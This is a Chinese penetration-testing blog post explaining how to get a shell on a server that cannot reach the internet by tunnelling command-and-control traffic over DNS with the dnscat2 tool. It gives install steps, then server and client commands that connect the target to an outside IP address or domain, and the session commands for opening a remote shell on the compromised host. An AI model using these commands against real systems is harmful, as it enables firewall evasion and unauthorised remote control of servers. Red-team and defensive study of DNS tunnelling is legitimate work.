2020-05-01 | 渗透测试 | UNLOCK

通过DNS协议绕过防火墙getshell

前言

最近测试的时候,碰到一个站点可以执行命令,但是不能出网,无法通过常规的tcp\udp反弹shell。但是可以执行ping命令,DNS有记录,说明DNS可以出网,这种情况下可以考虑通过DNS协议getshell。

dnscat2

目标对出站流量严格限制,但通常不会限制DNS请求,也就是UDP 53请求。

dnscat2 就是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具,所以说这种隧道几乎在每个网络中都可以使用。dnscat2 由客户端和服务端两部分组成

安装

服务端

安装需要ruby环境及相关依赖。遇到安装错误等问题可以搜索引擎。

安装:

1
2
3
4
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install

安装完成后可以尝试运行:ruby dnscat2.rb

默认监听UDP 53,同时生成了随机的密码,服务端正在等待连接。

如果在VPS上进行监听,需要在控制台开启相应的端口(类型为UDP

推荐使用docker

1
2
mpercival/dnscat2
docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb

客户端

Linux

1
2
3
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make

Windows

可以下载GitHub上的源代码进行编译,作者使用VS 2008。

直接下载编译好的文件:https://downloads.skullsecurity.org/dnscat2/

运行

服务端运行:

1
2
3
ruby dnscat2.rb --dns host=0.0.0.0,port=53531
ruby dnscat2.rb --dns server=23.105.193.106,port=533,type=TXT --secret=123456(密钥)
ruby dnscat2.rb xxx.com

对应客户端运行:

1
2
3
./dnscat --dns server=23.105.193.106,port=53531 --secret=随机密钥
./dnscat --dns server=23.105.193.106,port=53531 --secret=qwer1234(密钥)
./dnscat xxx.com

客户端成功连接:

如果未见到Session established!字样,检查端口是否匹配,防火墙开放的端口是否为UDP类型。

常用指令

通过sessions查看已经连接的记录

使用session -i 1连接到该客户端:

back命令可以向前退回。

在session中使用shell可创建一个客户端的shell or cmd连接

使用session -i 1进行连接后,输入shell命令,可以创建一个shell连接

回退查看sessions:

过程分析

学习资料

通过DNS协议绕过防火墙

dnscat2 安装和使用

next to learn:ICMP隧道:https://mp.weixin.qq.com/s/GIS0B9xoUip9LDCAT059VA

评论加载中